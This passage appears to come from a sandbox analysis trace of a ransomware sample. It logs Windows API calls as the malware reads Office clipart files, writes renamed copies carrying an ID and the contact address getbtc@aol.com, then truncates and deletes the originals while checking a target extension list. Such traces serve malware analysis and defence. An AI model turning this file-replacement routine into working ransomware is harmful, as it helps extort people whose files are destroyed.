dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0255.426] GetLastError () returned 0x0 [0255.426] ReadFile (in: hFile=0x3d8, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x1367, lpOverlapped=0x0) returned 1 [0255.443] WriteFile (in: hFile=0x3f0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x1370, lpOverlapped=0x0) returned 1 [0255.443] ReadFile (in: hFile=0x3d8, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0255.443] WriteFile (in: hFile=0x3f0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0255.444] SetEndOfFile (hFile=0x3f0) returned 1 [0255.444] CloseHandle (hObject=0x3f0) returned 1 [0255.444] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.444] SetEndOfFile (hFile=0x3d8) returned 1 [0255.446] CloseHandle (hObject=0x3d8) returned 1 [0255.446] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0255.446] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif")) returned 1 [0255.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned 63 [0255.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned 63 [0255.446] lstrlenW (lpString=".doc") returned 4 [0255.446] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0255.446] lstrlenW (lpString=".docx") returned 5 [0255.446] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1 [0255.447] lstrlenW (lpString=".pdf") returned 4 [0255.447] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0255.447] lstrlenW (lpString=".xls") returned 4 [0255.447] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0255.447] lstrlenW (lpString=".xlsx") returned 5 [0255.447] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1 [0255.447] lstrlenW (lpString=".ppt") returned 4 [0255.447] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0255.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned 63 [0255.447] lstrlenW (lpString=".zip") returned 4 [0255.447] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0255.447] lstrlenW (lpString=".rar") returned 4 [0255.447] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0255.447] lstrlenW (lpString=".bz2") returned 4 [0255.447] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0255.447] lstrlenW (lpString=".7z") returned 3 [0255.447] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0255.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned 63 [0255.447] lstrlenW (lpString=".dbf") returned 4 [0255.447] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0255.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned 63 [0255.447] lstrlenW (lpString=".1cd") returned 4 [0255.447] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0255.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned 63 [0255.447] lstrlenW (lpString=".jpg") returned 4 [0255.447] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0255.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned 63 [0255.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned 63 [0255.447] lstrlenW (lpString=".doc") returned 4 [0255.447] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0255.447] lstrlenW (lpString=".docx") returned 5 [0255.447] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1 [0255.447] lstrlenW (lpString=".pdf") returned 4 [0255.447] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0255.448] lstrlenW (lpString=".xls") returned 4 [0255.448] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0255.448] lstrlenW (lpString=".xlsx") returned 5 [0255.448] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1 [0255.448] lstrlenW (lpString=".ppt") returned 4 [0255.448] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0255.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned 63 [0255.448] lstrlenW (lpString=".zip") returned 4 [0255.448] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0255.448] lstrlenW (lpString=".rar") returned 4 [0255.448] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0255.448] lstrlenW (lpString=".bz2") returned 4 [0255.448] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0255.448] lstrlenW (lpString=".7z") returned 3 [0255.448] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0255.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned 63 [0255.448] lstrlenW (lpString=".dbf") returned 4 [0255.448] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0255.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned 63 [0255.448] lstrlenW (lpString=".1cd") returned 4 [0255.448] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0255.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned 63 [0255.448] lstrlenW (lpString=".jpg") returned 4 [0255.448] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0255.448] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0255.448] lstrlenW (lpString="J0099205.WMF") returned 12 [0255.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0255.452] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=17854) returned 1 [0255.452] CloseHandle (hObject=0x324) returned 1 [0255.452] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf")) returned 0x20 [0255.453] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0255.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0255.453] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.453] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0255.454] GetLastError () returned 0x0 [0255.454] ReadFile (in: hFile=0x324, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x45be, lpOverlapped=0x0) returned 1 [0255.458] WriteFile (in: hFile=0x390, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x45c0, lpOverlapped=0x0) returned 1 [0255.459] ReadFile (in: hFile=0x324, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0255.460] WriteFile (in: hFile=0x390, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0255.460] SetEndOfFile (hFile=0x390) returned 1 [0255.460] CloseHandle (hObject=0x390) returned 1 [0255.460] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.460] SetEndOfFile (hFile=0x324) returned 1 [0255.462] CloseHandle (hObject=0x324) returned 1 [0255.462] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0255.462] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf")) returned 1 [0255.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned 63 [0255.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned 63 [0255.463] lstrlenW (lpString=".doc") returned 4 [0255.463] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0255.463] lstrlenW (lpString=".docx") returned 5 [0255.463] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0255.463] lstrlenW (lpString=".pdf") returned 4 [0255.463] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0255.463] lstrlenW (lpString=".xls") returned 4 [0255.463] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0255.463] lstrlenW (lpString=".xlsx") returned 5 [0255.463] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0255.463] lstrlenW (lpString=".ppt") returned 4 [0255.463] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0255.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned 63 [0255.463] lstrlenW (lpString=".zip") returned 4 [0255.463] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0255.463] lstrlenW (lpString=".rar") returned 4 [0255.463] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0255.463] lstrlenW (lpString=".bz2") returned 4 [0255.463] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0255.463] lstrlenW (lpString=".7z") returned 3 [0255.463] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0255.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned 63 [0255.463] lstrlenW (lpString=".dbf") returned 4 [0255.463] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0255.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned 63 [0255.464] lstrlenW (lpString=".1cd") returned 4 [0255.464] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0255.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned 63 [0255.464] lstrlenW (lpString=".jpg") returned 4 [0255.464] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0255.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned 63 [0255.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned 63 [0255.464] lstrlenW (lpString=".doc") returned 4 [0255.464] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0255.464] lstrlenW (lpString=".docx") returned 5 [0255.464] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0255.464] lstrlenW (lpString=".pdf") returned 4 [0255.464] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0255.464] lstrlenW (lpString=".xls") returned 4 [0255.464] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0255.464] lstrlenW (lpString=".xlsx") returned 5 [0255.464] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0255.464] lstrlenW (lpString=".ppt") returned 4 [0255.464] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0255.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned 63 [0255.464] lstrlenW (lpString=".zip") returned 4 [0255.464] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0255.464] lstrlenW (lpString=".rar") returned 4 [0255.464] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0255.464] lstrlenW (lpString=".bz2") returned 4 [0255.464] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0255.464] lstrlenW (lpString=".7z") returned 3 [0255.464] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0255.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned 63 [0255.464] lstrlenW (lpString=".dbf") returned 4 [0255.464] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0255.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned 63 [0255.464] lstrlenW (lpString=".1cd") returned 4 [0255.464] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0255.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned 63 [0255.465] lstrlenW (lpString=".jpg") returned 4 [0255.465] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0255.465] lstrcmpiW (lpString1=".BMP", lpString2=".Q1G") returned -1 [0255.465] lstrlenW (lpString="J0101857.BMP") returned 12 [0255.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0255.465] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=32184) returned 1 [0255.465] CloseHandle (hObject=0x324) returned 1 [0255.465] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp")) returned 0x20 [0255.465] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0255.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0255.466] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.466] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0255.466] GetLastError () returned 0x0 [0255.466] ReadFile (in: hFile=0x324, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x7db8, lpOverlapped=0x0) returned 1 [0255.468] WriteFile (in: hFile=0x390, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x7dc0, lpOverlapped=0x0) returned 1 [0255.469] ReadFile (in: hFile=0x324, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0255.469] WriteFile (in: hFile=0x390, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0255.469] SetEndOfFile (hFile=0x390) returned 1 [0255.470] CloseHandle (hObject=0x390) returned 1 [0255.470] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.470] SetEndOfFile (hFile=0x324) returned 1 [0255.472] CloseHandle (hObject=0x324) returned 1 [0255.472] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0255.473] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp")) returned 1 [0255.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned 63 [0255.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned 63 [0255.473] lstrlenW (lpString=".doc") returned 4 [0255.473] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0255.473] lstrlenW (lpString=".docx") returned 5 [0255.473] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1 [0255.473] lstrlenW (lpString=".pdf") returned 4 [0255.473] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0255.473] lstrlenW (lpString=".xls") returned 4 [0255.473] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0255.473] lstrlenW (lpString=".xlsx") returned 5 [0255.473] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1 [0255.473] lstrlenW (lpString=".ppt") returned 4 [0255.473] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0255.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned 63 [0255.473] lstrlenW (lpString=".zip") returned 4 [0255.473] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0255.473] lstrlenW (lpString=".rar") returned 4 [0255.473] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0255.473] lstrlenW (lpString=".bz2") returned 4 [0255.473] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0255.474] lstrlenW (lpString=".7z") returned 3 [0255.474] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0255.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned 63 [0255.474] lstrlenW (lpString=".dbf") returned 4 [0255.474] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0255.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned 63 [0255.474] lstrlenW (lpString=".1cd") returned 4 [0255.474] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0255.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned 63 [0255.474] lstrlenW (lpString=".jpg") returned 4 [0255.474] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0255.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned 63 [0255.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned 63 [0255.474] lstrlenW (lpString=".doc") returned 4 [0255.474] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0255.474] lstrlenW (lpString=".docx") returned 5 [0255.474] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1 [0255.474] lstrlenW (lpString=".pdf") returned 4 [0255.474] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0255.474] lstrlenW (lpString=".xls") returned 4 [0255.474] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0255.474] lstrlenW (lpString=".xlsx") returned 5 [0255.474] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1 [0255.474] lstrlenW (lpString=".ppt") returned 4 [0255.474] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0255.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned 63 [0255.474] lstrlenW (lpString=".zip") returned 4 [0255.474] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0255.474] lstrlenW (lpString=".rar") returned 4 [0255.474] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0255.474] lstrlenW (lpString=".bz2") returned 4 [0255.474] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0255.474] lstrlenW (lpString=".7z") returned 3 [0255.474] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0255.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned 63 [0255.474] lstrlenW (lpString=".dbf") returned 4 [0255.474] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0255.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned 63 [0255.475] lstrlenW (lpString=".1cd") returned 4 [0255.475] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0255.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned 63 [0255.475] lstrlenW (lpString=".jpg") returned 4 [0255.475] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0255.475] lstrcmpiW (lpString1=".BMP", lpString2=".Q1G") returned -1 [0255.475] lstrlenW (lpString="J0101858.BMP") returned 12 [0255.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0255.475] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=32184) returned 1 [0255.475] CloseHandle (hObject=0x324) returned 1 [0255.475] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp")) returned 0x20 [0255.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0255.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0255.476] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.476] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0255.476] GetLastError () returned 0x0 [0255.476] ReadFile (in: hFile=0x324, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x7db8, lpOverlapped=0x0) returned 1 [0255.479] WriteFile (in: hFile=0x390, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x7dc0, lpOverlapped=0x0) returned 1 [0255.480] ReadFile (in: hFile=0x324, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, 